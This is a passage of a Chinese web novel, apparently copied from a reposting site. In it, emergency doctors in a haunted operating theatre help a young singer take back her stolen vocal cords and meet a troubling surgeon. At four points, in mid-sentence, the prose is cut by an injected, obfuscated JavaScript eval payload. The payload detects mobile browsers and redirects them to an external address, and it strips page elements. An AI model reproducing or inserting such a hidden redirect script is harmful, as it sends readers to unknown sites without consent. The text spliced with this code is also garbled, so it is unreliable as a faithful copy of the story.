所以我可以做完手术的第二天就开始声乐练习,喉管磨烂了,就喷点再生因子继续练,我真的,真的很想被听见啊……” 肖音音扬起脸,晶莹的泪珠从眼角滚落下来,在脸颊上留下两道闪着微光的水痕。 “因为没钱,选的声带保质期都很短,每次都用不到一年就要换。而且我不喜欢这些声音,它们都不是我的声音,我好想用自己的声音唱歌啊。 可是我16岁第一次参加唱歌比赛,就被评委说声音难听,不可能有起色,但经纪人还是找上了我,说我外型条件好,可以出道,我说我想做歌手,他说没关系的,换个声带就好了。 我信他了,用机械声带换下了我自己的声带,我天真地以为,只要愿意牺牲,就可以得到我想要的。 但是他骗了我!他是个可恶的骗子!我居然才知道,我的声音是好听的。那个出道前的歌唱比赛,有人看中了我的声带,私下里出钱买走了!我换上了机械声带,每天吞针一样的痛苦,可是我自己的声带呢!在别人身上啊啊啊!” 肖音音渐渐歇斯底里起来,配上沙哑的嗓音听上去如厉鬼般哭号。 “根本不是人啊!”程昭愤愤不平地骂道。 肖音音胸廓剧烈起伏,深呼吸了好几口,平复了一下心情,继续说道:“这是我的一个粉丝告诉我的,我出道前就喜欢自己录歌放在网上,她是在我比赛前就一直关注我、鼓励我的人。 后来我换了声带,她虽然不喜欢,但还是会买我的专辑,支持我,只是每一次签售,她都会很认真地对我说,她喜欢我以前的声音。 我曾经以为这世上除了我自己,就只有她觉得我以前的声音好听。但是直到前段时间,她给我发了一段录音,说终于再次听到了我的声音,我才发现,原来当初换下的声带,并没有作为废物处理掉,而是卖给了别人……” “所以,带‘优’字的手术用的是人体器官,换新手术则是机械器官?”程昭好像突然就明白了那些手术名称的含义。 肖音音颔首:“是的,优体手术比换新手术贵很多,都是百万级一台的,看供体质量,上千万一台的也有。听说某个演员,就花两千万做了一台换脸手术,用的真人,换完就爆红了,接了好多广告,新剧剧本拿到手软,直接进军电影圈了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805369|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”说到后来,肖音音脸上浮现出现羡慕的神色。 “换真人的脸……那她还是她吗?难道不是已经变成另一个人了?” 程昭不敢细想,如果花钱就能买走一个人的脸,那被买走的人会怎么样呢,是再换上别人的脸,还是换一张机械假脸? 这些自以为可以用钱买到别人身体的“买家”,会不会意识到,自己有一天也会变成消费品呢? “跟整形手术差不多吧,真人的器官肯定比机械的好多了,听说舒适度也要好很多。很多装了机械器官的人都因为磨合不佳,去打深素止痛……” “深素?” 听到这个词,程昭和蒋裕快速交换了一下眼神,看来是能得到点关于深素的信息了。 “深素还能止痛?” “深素的效果可多了,止痛只能算是附带的作用,圈里有点名气的几乎都在打,因为比什么医美的效果都要好。经纪人跟我说能保养声带,叫我也去打,但是太贵了,一针十几万,而且要一直打,停药会比不打老得更快,我打不起,所以没试过。我有个前辈是定期打的,她换机械声带以后好像确实不怎么痛。” 程昭没忍住冷哼了一声:“一个生物提取的东西,还能保养机械了?这算什么,人体润滑油啊。” 蒋裕捂脸,太地狱了。 “我看深素这玩意儿,就不是什么好东西。”程昭下了结论。 肖音音低下头去:“我以前也心动过,不过确实是一直欠债打不起,虽然经纪公司说可以借钱给我去打,但我已经欠了很多很多钱了,我上学时候数学就很差,真的不知道还有多久才能还完。” 蒋裕拍拍她的肩:“学好数理化,走遍天下都不怕;不会数理化,走哪被人坑到怕。” 程昭:“照你这个拼命的架势,我估计早就还完了,你那黑心公司就是欺负你年纪小不懂事,一直骗你呢。” “我也感觉出来了,所以,求求你们帮帮我吧!” 肖音音摆正身体,对着程昭和蒋裕,膝盖一弯就要往下跪。 “哎哎,别这样啊妹子!”程昭赶紧去扶肖音音,她这辈子还没受过这种大礼呢! 蒋裕也过来搀她:“你想我们怎么帮,直说好了,这么黑心的公司,人人得而诛之!” 肖音音嗫嚅道:“我,我也没想过要对他们怎么样……我就是想换回自己的声带,然后跟公司解约,能自由地唱歌就好了。” “那你的声带在哪里呢?” “就在这里,我打听过了,换我声带的那个人,每六个月要把声带取出来保养一次,每次在医院放24小时,保养时间就在今天,所以我特意把声带换新手术排在今天,等到了明天,她把声带装回去,我可能就再找不到机会了。 她的手术也是在这个医院做的,我听说保养的优体都放在手术室的生物材料间里,但是我肯定进不去,希望你们能带我进去。” “额……” 刚答应下来的两人此刻纷纷露出了难色。 帮是很想帮的啦,但是他俩都不是这个医院的医生,急救制服没把门禁卡拟态出来啊! 程昭瞪了一眼蒋裕:我就说你们这急救制服垃圾吧。 蒋裕懊恼地点点头:拉,实在是太拉了! 程昭的目光忽然落到了打开的工具箱上。 虽然没有门禁卡,不过只要是机械结构的门锁,用工具强拆,或许也不是不行? 9. 手术室请安静06 程昭提上工具箱,一副风风火火视死如归的架势:“走。” 蒋裕不敢置信地看着她,贴着她耳朵低吼道:“我们没卡!进不去的,万一被发现了还会死得很惨!很惨呐!” 程昭掏了掏耳朵:“那你说怎么办?你刚才不是很义愤填膺嘛,这就不管了?” “不是不管……”蒋裕瞥了一眼肖音音,把声音压得更低,“这事不是那么简单的,我们自己的患者都一个还没找到。你看过时间了没,只剩八个小时了!” “八小时工作制,刚好来得及下班。” “不儿,八小时工作制是这么算的吗……” 肖音音看着两人窃窃私语,不安地绞着病号服的衣角。这两个医生有点怪,经常说些她听不懂的话,而她认为是常识的东西,他们又一副完全没听过的样子。 不过也正因为如此,她觉得自己和盘托出,没准能得到帮助。如果是那些冷血的医生,肯定直接打电话给她经纪人,把她抓回去了。 “行吧。”蒋裕终于是被说服了,“先找到生物材料间,如果周围没人,就试试看撬锁,但是如果撬不了,咱们就不管了,先去找患者。” 这是程昭提出的各退一步方案,她也不知道这个生物材料间是怎么样的,有没有人把守,只能是尽力而为。 三人放轻脚步,一个接一个跟做贼似的出了办公室。 在走廊里,程昭忍不住回头看了一眼手术室门上的窗。 满窗都是红眼睛。 她没敢细看,拽着蒋裕和肖音音,三个人蹲下来沿着墙角走。 走廊里很安静,刚才横亘在中间的那两具干尸都消失不见了,没有留下任何痕迹,不知道是谁处理掉了。 蒋裕打头,程昭走在最后,她时刻注意着墙角,警惕红色黏菌的出现。 路过1号手术间时,三人都屏住了呼吸,一点气不敢出,生怕手术间门一开,就被抓去做供体。 好在这一路都没发生什么意外,他们穿过所有的手术间,来到了整个手术室的最后面。 生物材料间这种一听就有很多贵重东西的地方,肯定位置是越深越好的。 果然不出程昭所料,手术室走到底,左手边是污物处置间,右手边的房间就是生物材料间,门上还有一个生物危险的标志。 门边上是一个刷门禁卡的黑色刷卡机。 程昭推了推门,纹丝不动,果然跟办公室的门一样,要么从外面刷卡进去,要么从里面打开。 她把耳朵贴在门上听了会儿,里面一点动静都没有,应该还算安全。 打开工具箱后她又犯了难。 虽然设想得很美好,但实际上,作为医学生的她,大学连金工实习都没上过啊! 连电路图怎么画都还给高中物理老师了呢! 她的迟疑引起了正在望风的蒋裕的注意。 他指了指门锁,做口型道:你上啊。 程昭礼貌微笑。 蒋裕:你不会? 程昭眨眨眼睛。 肖音音背对着他们,面朝走廊,望风望得比蒋裕认真多了。 蒋裕蹲了下来,跟她一起看工具箱里的东西,挑来挑去,指了指羊角锤。 程昭瞪大了眼睛:这么猛?直接暴力破坏啊! 这一锤子下去的动静,那红色黏菌不得百米冲刺跑过来啊! 蒋裕指了指手术间的方向:1号手术间离得远,没那么快。 倒也不是完全没道理。 程昭深吸一口气,抓起了那把羊角锤。 【叮!初始工具选择完成,经验值+10,距离工具箱升到下一级还差990经验值。】 谁?! 程昭惊恐地东张西望,这回她听清楚了,这是个女声。 蒋裕是男的,肯定不是他的声音。肖音音虽然是女的,但声带是男音,也不是她。 难道这个手术室里卧虎藏龙,有红色黏菌和怪胎还不够,还有别的空气传音怪? 怎么看周围都只有他们几个人,程昭举起了羊角锤,做出一个防御的姿势。 不管是什么东西,敢来搞她,就给它一锤子! 【叮!合金工具-羊角锤已激活,初次使用可获得50经验。】 程昭不敢置信地看向自己手中的羊角锤,蒋裕和肖音音都没表现出什么特别的,好像这个声音,只有程昭自己能听到。 她戳戳蒋裕,挥了挥羊角锤。 蒋裕以为她是想要同伴的鼓励,立马给了她一个坚定的眼神。 程昭很无助。 我的工具箱成精了怎么办?在线等,挺急的,赶着锤门锁呢。 蒋裕完全不能感知到她此刻的迷茫,两人鸡同鸭讲比划了半天,程昭放弃了。 算了,你不能指望一个连急救箱都能拿错的人,给出什么建设性意见。 细想来这个声音好像是直接出现在她脑中的,是从她打开工具箱以后才有的,难道这工具箱有什么特殊功能,还自带升级系统? 如果只是使用就能获得经验,那轻轻锤一下不就能试验了?没准升级以后威力更大呢。 她把工具箱塞在蒋裕怀里,让他抱着,羊角锤对着工具箱的正面。 肖音音用余光瞟着她的动作,表情很好奇。 程昭怕直接敲墙面或者地面传送震动,招惹来红色黏菌,所以让蒋裕充当人肉避震器。 她晃动手腕,轻轻敲在了工具箱外壳上。 一阵很轻的,类似鸡蛋破壳的声音,从箱子表面传来。 然后三人就眼看着深蓝色的工具箱外壳从敲击处裂开,不出几秒就遍体裂纹。 蒋裕抱着箱子,一动也不敢动,生怕动一下就碎成渣渣,洒了满地。 大家的表情都很精彩。 程昭:石化。 肖音音:哇哦。 蒋裕:四分不可置信,三分困惑,两分凄凉,还有一分抑制不住的笑意。 不知道为什么,就是挺想笑的。 这个程昭,她是人能有的脑回路吗?! 还能自己把自己的家伙什锤爆吗? 【叮!初次使用羊角锤,经验值+50。】 【叮!羊角锤升级为2级,经验值+50,距离下次升级还差两次有效使用。】 【警告!工具箱遭到破坏,破坏程度50%,维修需要2000经验值。】 程昭脑中连着响起好几条提示音。 1级都这个威力了,2级是要闹哪样啊?用一次羊角锤50经验,维修需要2000?合着她还得敲40次? 轻轻一敲就这个破坏力,40次都够把整个手术室给敲塌了吧? 程昭突然觉得自己浑身是胆,哪个小鬼子敢来犯,她来一个敲一个,来两个敲一双! 她第一次深刻体会到,为什么学会使用工具是人类进化的里程碑。 有工具傍身的感觉是真爽啊! 她也不管肖音音在场了,直接就把工具箱收进手环,不然等会掉一地渣子也不好捡。 肖音音倒是很自觉地转过身仰头看天花板。 程昭高举起羊角锤,对准了大门上方的磁吸门锁,一点没使劲。 羊角锤就被吸在了上面。 【叮!使用羊角锤(2级),经验值+50,距离下次升级还差一次有效使用。】 程昭:石化again。 肖音音:天花板真好看。 蒋裕:help!这里真的有正常人吗?!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如果光是一个没发育好的胚胎,倒也不至于让她驻足停留,但这个胚胎明明看形态是初期,体型却已经接近正常十月临盆的孩子了。 难道是泡太久,泡发了? 她看了一眼标签,上一排写着供体001,下一排写着入库时间2023.06.01。 供体这个词很容易让她想到那份深素的分析报告。 如果蒋裕在这里,就会立马认出,这个胎儿跟他手术上见过的那个怪胎,大体上相似,只是五官更接近正常胚胎,身上也没什么恶心的肉瘤。 程昭虽然没亲眼见过那台手术,但这个胚胎不正常的形态,也足以勾起她的警觉。 透过有些混浊的微黄液体,她看到盒子的背面似乎也有一张标签。 她的动作非常轻,慢悠悠地把玻璃盒转了一个方向,果然背面也有东西。 这张标签是手写的,只有两个字——“翊儿”。 很像是孩子的小名,是这个胚胎的名字吗? 如果父母都给孩子取好了名字,为什么要把它放在这里,跟这些标本们待在一起呢? 这边程昭还在苦思冥想,另一边肖音音已经找到了自己的声带,今天处于保养中的声带有两条,但她只看一眼,就能确定哪条是自己的。 虽然大多数人终其一生也没见过自己的声带,但她就是知道,这是自己的,是从自己身上用手术刀一点一点割下来的,哪怕泡在保养液里,这也是她自己的东西,就算被花钱买走了,放到别人喉咙里了,那也是她的,不是别的任何人的。 她紧紧抱着那个飘浮着薄薄肉片的玻璃盒子,脸上露出了很多年都没有过的发自内心的笑容。 正在门外望风的蒋裕打了个大大的哈欠,这两人进去有一会儿了,怎么一点动静都没有,属猫的啊。 他面朝走廊,背对生物间,因此没有发现,就在自己晃神那会儿,有一个身影从对面的污物间跑了出来,闪身进入了生物材料间。 10. 手术室请安静07 程昭还在端详那个胎儿,冷不防后背被人拍了一下,浑身一哆嗦。 转头一看,是肖音音抱着个玻璃盒站在她身后。 程昭用口型问道:找到了? 肖音音很用力地点头。 其实都不用问,看她那张欢呼雀跃的脸,就知道她找回自己的宝贝了。 程昭觉得这趟出车以来,总算是有点好事了。 走吧。她指了指生物间的大门。 肖音音此时就跟所有这个年纪的小女生一样,蹦蹦跳跳地牵起了程昭的右手,全然忘记了这里的危机还未解除。 一个黑影从她俩身后晃过。 程昭刚跟着她迈出一步,就定住了。 左手腕上的手环突然震了两下,马达功率还挺足,震得手腕都有点麻。 程昭低头一看。 不对啊,我右手牵着肖音音,那左手上的这只手,是谁的? 她如同齿轮般一格一格慢慢把头往左后方转去,对上了一双带着水汽的大眼睛。 程昭鼓足了勇气,做了一堆心理建设,才敢回头看,没成想另一手牵着的也是个穿着病号服的漂亮妹子。 什么情况,她捅妹子窝了? 颜值即是正义,长得好看就很难吓到人了。 所以程昭这回没怎么失态,从容地在她手心里写下——“你也找声带啊”。 妹子摇摇头,很小声地说:“我是来做手术的。” 程昭看了一眼墙上的分贝仪,显示是15,应该还在安全范围内。 左手腕的手环正散发着淡淡的荧光,这个角度只有程昭能看到,她翻转手腕,发现手环界面弹出了一句话。 【发现患者,任务进度1/2。】 程昭乐了,看来她是时来运转了,患者还能自己找上门来的。 她凑近了妹子,指着分贝仪用气音说道:“保持小声,超过30会有危险。” 妹子点点头,肖音音也好奇地围了过来。 程昭在她手心里写下自己的名字,她心领神会,也在程昭手心里比划起来。 顾镜如,很好听的一个名字。 程昭:“你怎么会到这儿来做手术?” 她还记得,蒋裕说过在原泡世界,这是个2年前就废弃了的医院,要做手术怎么会跑到这里来呢。 顾镜如声似蚊吟:“我生病了,没有钱,有一个好心的医生说免费给我做手术,但是我跟着他进了医院之后,他就不见了。我刚才看到走廊里有人被一种红线缠死了,我很害怕,就躲起来了。我觉得你像好人,我不知道要怎么出去,医生,你带我出去吧。” “放心,跟紧我,不要多问,我会带你出去的。”程昭宽慰她。 那么重叠域里的另一个患者,应该就是这个把她带到废弃医院,要给她做手术的“医生”了。 这个人到底是真的大善人,还是另有图谋,可就不好说了。 反正在程昭原本的泡世界,这百分百算非法行医了,是要吊销执业证的! 三人排成一列,还没走到门口,就见蒋裕一个闪身窜了进来。 “你找到一个患者了?” 看来只要在同一个域里,手环里的信息就会共享。 程昭指了指顾镜如,压低声音跟蒋裕说了自己的猜测。 “你怎么不望风了?多危险啊。” “在外面才危险。” 蒋裕从怀里掏出了自己的听诊器,把一头耳塞递给程昭。 程昭试探性地塞进了左耳,另一头耳塞则在蒋裕耳朵里,她还从没想过,听诊器也能“分你一半”的。 蒋裕把扁形听头按在墙面上。 一首舒缓的音□□过墙面、听筒、橡皮管、耳塞、耳道传到了程昭的脑海里。 “睡吧,睡吧,我亲爱的宝贝……” “妈妈的双手,轻轻摇着你……” 做手术时放歌这种行为,倒是并不罕见,尤其是大半夜急诊手术,不听点什么,手术医生自己都容易瞌睡过去。 但是在手术室里放摇篮曲,真是闻所未闻,甚至带着点瘆人。 特别是在这个分贝超过30就会刺激红色黏菌的手术室里。 这个声音的来源应该不是很近,因为程昭没塞听诊器的右耳,什么都没听到。 “你这个听诊器……” 程昭后知后觉发现,蒋裕这个听诊器好像不一般,她可没见过谁拿听诊器当窃听器的。 “每个人的急救箱只能开出一样专属自己的特殊道具。” “特殊道具?” “对,这并不是那种普通120上配备的含有急救物品和药品的基础急救箱,是先泡科技为了重叠域专门研发的,虽然外观看上去跟普通的医疗器具没两样,但都会在域中发挥特殊的功能。比如我这个听诊器,功能是''传音'',半径一百米内,只要有声音传递的介质,就能通过听筒听到。” 程昭有点羡慕:“听起来好厉害。” 蒋裕谦虚道:“哎呀,其实很一般啦,就是个B级道具。” 程昭:“道具还有等级?” 蒋裕:“是的,虽然先泡科技产出的急救箱初始都是同样的空白,但每个人开出的道具品质并不是同样的,有S、A、B、C四种等级,等级越高,功能越厉害。” 程昭:“这是随机的嘛?” 蒋裕挠挠头:“其实也没个定论,有人说是看运气,也有人说看信念,反正挺玄乎的。” 程昭想到了自己的工具箱:“诶,那我的……” “怪我、怪我……”蒋裕双手合十,连连道歉,“回去我带你去后勤问问这种情况怎么办。” “行吧,那你能听出声音来源吗?” 蒋裕伸手摘下她的耳塞,给自己带好,闭上眼睛,听头在墙面上换了好几个位置,似乎是在寻找方向。 过了大概一两分钟,他摘下听诊器,神色严肃:“是1号手术间。” 又是1号手术间。 程昭有种预感,看来要离开这个诡异的手术室,总得去趟1号手术间才行。 肖音音拉拉程昭的衣角:“医生,你能不能,帮我做手术?” 程昭皱眉,刚要摇头。 肖音音继续说:“我怕你们走了,就没有人愿意给我做手术了,我想换回我自己的声带。” 程昭不忍心拒绝,但又很为难:“我不会啊。” 肖音音眼里的光瞬间熄灭了,她缩着身体怀抱玻璃盒,默默地垂下了头。 程昭看她这个样子,自己心里也一阵酸涩。 “我去给你找医生。” “你疯了,怎么找?他们会听你的?”蒋裕白眼都要翻到天上去,“我怎么没发现你是圣心会的好苗子呢?” “什么圣心会?” 蒋裕摆摆手:“不重要,你去找吧,找到算你厉害。” 程昭一个人默默走到墙角,鼓捣了一会儿又回来了。 手里拿着一把扳手,大号的那种。 【叮!合金工具-活动扳手已激活,初次使用可获得50经验。】 她发现一个因祸得福的事情,工具箱外壳碎了以后,居然能直接从手环里拿工具出来了,而不用像之前一样,先拿箱子,再开箱才能取。 蒋裕看她这个架势,无奈扶额:“我有时候真的怀疑你到底是不是个医生。” 程昭耸耸肩: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805371|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我看你们这个120,干的也不是医生的活啊。” “那你去吧,我在这里保护患者。” 程昭走出门之前,蒋裕拍了拍她的肩,“祝你好运。” “借你吉言。” 程昭走出去没多久,蒋裕的手环就震了两下。 【发现患者,任务进度2/2。患者已找齐,请尽快出域。】 这什么效率?天生120圣体啊! ———————— 程昭看着面前的中年男子,右手握着扳手背在身后。 这个人在生物间门口不知道待了多久,她刚出来就撞上了他。 手环震动,她没去看,她已经猜到,这就是那个“免费做手术”的医生。 这一次,她没有因为很快找到患者而喜悦,因为这个人的洗手衣上,沾着血迹。 “你是新来的规培生吗?我好像没见过你。”男人看着程昭,眼神很温和。 程昭看向走廊,他说话声音是正常音量,应该有40分贝左右,但是红色黏菌却没有出现。 生物间位置太深了,这个角度看不到1号手术间。 程昭定了定神,一副公式化的语气:“你好,我是一七医院120急救医生,现在这里很危险,但请你放心,我会负责救你出去的。” 男人一愣,似乎是没想到她会这么直接说出来。 但他很快调整了表情,长松了口气:“呼,终于不用装了,我说怎么到了这么个鬼地方,吓死人了。我们怎么出去,跟着你就行了吗?” “嗯,跟着我就行,不过在那之前,你知道这里谁会做声带更换吗?” 他露出个意味深长的笑容:“我就会啊。” “真的?” 程昭没想到,这手术已经这么普及了吗。 “给谁做?” “你马上就能见到了。” ———————— 程昭带着董飞回到生物间时,蒋裕瞪大了眼睛,顾镜如倒是很激动。 “董医生,我,我那个手术……” “等出去再做吧,我答应你的,不会反悔,但是这里不太合适。” “好,好的。” 蒋裕看向程昭,程昭神色如常。 董飞直接走到了肖音音面前,低下头看她怀里的玻璃盒。 “保养得不错,是你要换这个吗?” “是的,你,是来帮我做手术的吗?” “我想应该是吧。”他看向程昭,挑了挑眉。 程昭点头:“机械声带换真声带,你能做吗?” “机械声带拆比装容易,人源声带要看喉管适配程度的。” “这是我,我自己的声带。” 董飞捏住肖音音的下颌,迫使她张开嘴,他从裤兜里掏出手电筒照了照。 “这个机械声带太次了,喉管都磨变形了。现在倒是还能做,要是机械声带再用两个月,人源声带就没办法装了。” 程昭问:“你一个人能做吗?” “需要一个助手,拉拉勾就行。” “行,要再找个麻醉师吗?” “最好是有,没有的话就只能忍忍了。” “我可以不用麻醉。”肖音音说,“我已经习惯疼痛了,我就想快点换上我自己的声带。” “那就去准备手术间吧。”董飞指了指蒋裕,仿佛他真是自己带教的规培生。 程昭有点担心地看着肖音音:“不用麻醉你真的能撑住吗?手术可能会很久的。” 董飞把手搭在肖音音肩膀上,温柔道:“不用怕,或许别人需要很久,但是我做手术很快的。 因为,我真的很热爱手术。” 11. 手术室请安静08 手术间就直接用了肖音音本来那台声带换新术的房间。 虽然刚才手术器械都洒了,不过这个手术间应该是专门做这类手术的,柜子里就有消毒好的器械包,直接打开就能用。 蒋裕站在手术台另一侧,负责给董飞做助手,程昭跟顾镜如坐在手术间门边守着。 肖音音的口腔被器械撑到一个巨大的角度,嘴角都有些撕裂了,但她一声没吭。 蒋裕一手拉勾,一手给董飞递手术器械。 董飞很熟练地用小钳子撬开了机械声带上的八爪勾,再用中号钳子把机械声带夹成U型,调整了几次形状后,用一把长勾把弯成废铁的机械声带拉了出来。 沾染着鲜血的机械物被扔在了弯盘上,没有什么机械的精巧美感,反而感觉粗糙和丑陋。 这要20万?要是放在程昭那个世界,PXX9.9包邮不能再多了。 肖音音的喉管已经在反复的手术中生出了瘢痕,虽然这原本是身体为了自我保护,适应环境而生长出来的肉芽组织,但它已经挤占了正常声带的位置,要装上原本的声带,就需要将其去除。 这个角度手术刀很难伸进去,这个手术间也没找到电刀,董飞拿了一根细锉刀样的粗糙钢条,从撑开的嘴中插进去,粗暴地在喉管壁的瘢痕组织上摩擦。 蒋裕拿着吸引管,把喉管壁上渗出的血液吸干,但随着摩擦力度的加重,血流得越来越多,可能有一两根大血管爆了。 蒋裕手心都急出了一层汗,橡胶手套牢牢地吸附在掌心,令他握着吸引管的手都差点打滑。 董飞抬了他一手,示意他对好位置。 没有备血,但董飞一副胸有成竹的样子,先把瘢痕肉芽给磨干净,然后夹持着缝合针,用着6-0的缝合线,把爆开的血管缝合上。 蒋裕到此刻是真的佩服他了,因为血太多了,他这个负责抽吸血液的人都找不到出血点,视野里一片血红,但董飞的眼睛就跟开了透视一样,每次都能又快又准地扎上血管的破口。 他很好奇,手术技术这么好的人,在欣格医院被查封以后,去哪里高就了呢。 把喉管壁处理好,移植真声带就很简单了。 当然,这只是对董飞来说,至于蒋裕,甚至都看不清他的动作。 缝合线在他手里就跟绣花线似的,弯针上下翻飞,沿着声带周围细密地缝了一圈,虽然喉管壁还有些粗糙,但这些未完全处理干净的新生肉芽,恰到好处地包裹住了这片肉膜,几乎完全看不见针眼和缝线。 缝完以后,董飞夹着棉球又消毒了一遍,然后让蒋裕给她喷上手术室里备用的再生因子,潇洒地脱下了手术衣,扔进脏衣篓。 并排坐在地上的程昭和顾镜如,齐刷刷给他鼓掌。 程昭也不得不承认,不管董飞到底是出于什么目的出现在这里,这手术水平是实打实的高啊。 肖音音已经从手术台上坐了起来,她刚才还是流了不少血的,此刻嘴唇没有一丝血色。 她摸着自己的喉咙,试探性地发出“啊”的声音,感受着指腹下声带的震动。 这种震动很柔和,跟机械声带的线性马达完全不一样,她已经很久很久没有体会过了。 “呀。”她又发出了一个短暂的音节,就像一个牙牙学语的孩子,对每一个音节都充满了新奇感。 董飞:“多说说也没关系,可以促进肉芽组织生长,让声带跟周围组织快点融合。” “谢、谢。”肖音音说得很吃力,但即使是刚做完手术,也比机械声带磨合后要舒服得多,几乎可以说是没有痛感了。 董飞摸摸她的头:“手术的时候一点没有动,挺厉害的。” 肖音音的眼眶又湿润起来,没有装过机械声带的人不会明白,跟那种喉咙吞针的感觉比起来,手术缝针跟被蚊子叮也差不多了。 她这些年来,真的过得很差。 但是出去以后,她会想办法,让自己真正的声音被听到。 董飞走到程昭面前:“我帮了你一个忙,你是不是也可以帮我一个忙?” “什么忙?” “救我妻子。” 程昭蹭的一下站了起来,“这里还有别的患者?” 这手环这么不准的吗?还能少算一个患者的? “我的妻子,她离开我很久了,我也是最近才知道,她在这里的。” 程昭先是不解,过了几秒后才反应过来了,他的妻子,并不是这一次四级事件被卷入重叠域的,她在更早的时候,就掉到另一个泡世界了。 “你的妻子在哪里?” 董飞垂下头:“我还在找,但是我敢肯定,她就在手术室的某一处,我能感受到她的气息……” “我帮你找,等找到以后,就一起离开这里。” “好,谢谢你。” 程昭没有让蒋裕一起跟着,肖音音和顾镜如还是由他继续照顾,程昭独自跟着董飞走过一个个手术间。 说实话,这些空的手术间,都看起来不像能藏人的样子。 而且奇怪的是,刚才明明有两三个手术间里是有人的,但现在走了这一路,他们都没有见到一个人。 好像这个手术室里只剩下他们几个。 另一个让她在意的事就是,董飞从出现开始,就是神态自若地正常讲话,那种致命的红色黏菌一直没有出现。 是运气好,还是他已经知道,红色黏菌不会出现了? 再往前走,就是1号手术间了,董飞走在前面,程昭却停住了脚步。 “就差这里没找过了,应该就在这里。” “你确定,你的妻子在这里吗?” 董飞的语气斩钉截铁:“她肯定在这儿,其他地方我都找遍了。” “那你是怎么知道,她消失以后,就到了这里呢?” 董飞露出一个苦笑:“你没谈过恋爱吧?” “啊?”程昭一怔,怎么突然开始人身攻击了? “我跟我的妻子是大学同学,她可爱、温柔、贤惠,是一个很招人喜欢的女孩子。大三的时候我追的她,后来我们又一起读研、读博,毕业后也幸运地进了同一家医院工作。结婚两年后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805372|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们有了第一个孩子,是个很可爱的女孩子。 孩子出生以后,开销变大,我们什么都想给孩子最好的,但是公立医院绩效一降再降,我就跳槽去了一家私立医院。这家医院给了我很多手术的机会,我本来就是个手术痴,为了钱,也为了我自己的爱好,我经常加班做手术,几个星期不回家也是有的。在这种情况下,我妻子又怀孕了……” “啊!”程昭惊道,看向他的眼神都充满了同情。 “额,孩子是我的!我忙归忙,也不是一天没回……”董飞没料到她想象力那么丰富,赶紧解释,“只是我妻子要带大宝,又怀着二宝,一个人很辛苦,我那段时间忙于工作,忽视了她的情绪。现在想想,她可能早就患上了抑郁症,是我没有注意到。在孩子预产期的前几天,她跟我大吵一架,然后就离家出走了,我以为她过几天就会回来,毕竟孩子都要生了。 但是没有,我再也没有得到她的音讯,她好像在这个世界上消失了。我去报警,警察也一无所获,我不相信一个大活人会这样变没!我辞了工作,去她的老家,去我们的学校,去我们一起约会过的公园……我总觉得她不是消失了,她只是在一个地方等我,而我太笨了,一直没有找到……” 程昭感叹道:“你很爱她啊。” “是啊,我很爱我的妻子,我无数次地懊悔,当时为什么不多陪陪她。如果我不是那么忙,如果我能抽空陪她看她最爱的电影……是不是后来的一切都不会发生?是不是我就不会失去她,失去我的翊儿……” “翊儿?” “哦,我经常这样想,就忍不住说出来了。那是我们一起给二宝取的名字,希望他能展翅高飞,成为一个顶天立地的男子汉。” “那你,觉得她在这等你?” “是的,因为我经常梦到她,梦里的她穿着病号服,走在手术室的走廊里,四周都是黑的,只有站在中间的她头顶有一束光,我觉得是她在指引我,让我来找她……你明白吗?这是我妻子托给我的梦。” 程昭没接话,她怎么都觉得,这个梦不像什么好梦。 董飞的语气渐渐变得神经质起来:“这个梦越来越频繁了……有时候我白天都能见到,她穿着条纹的衣服,从我面前飘过,我扑过去抓她,却抓了个空……我能感觉到,她急了,我这么久还没找到她,她很烦躁,她想要我,她要我来陪她……我应该来陪她,我当年没有好好陪她,这都是我的错,这是我欠她的,我要补偿她,这是我欠她的,我要补偿她……这是我欠她的,我要补偿她……我要补偿她……补偿她……” 董飞像一个坏掉的复读机一样,断断续续地重复着这几句话,语速越来越快,呼吸也变得急促起来。 程昭敏锐地觉察到,他的眼白开始有细小的血丝蔓延,他的双手颤抖得厉害,像是失控的前兆。 程昭不动声色地站到了他的身后。 走廊里响起一记闷响,那些翻来覆去的碎碎念戛然而止。 董飞脸朝下倒在地上,程昭把扳手收回后腰。 “叽里咕噜说啥呢?听不懂。” 12. 手术室请安静09 程昭刚要蹲下去查看董飞的状况,整个走廊就陷入了彻底的黑暗中。 连墙壁上的应急出口灯都不亮,程昭什么也看不见。 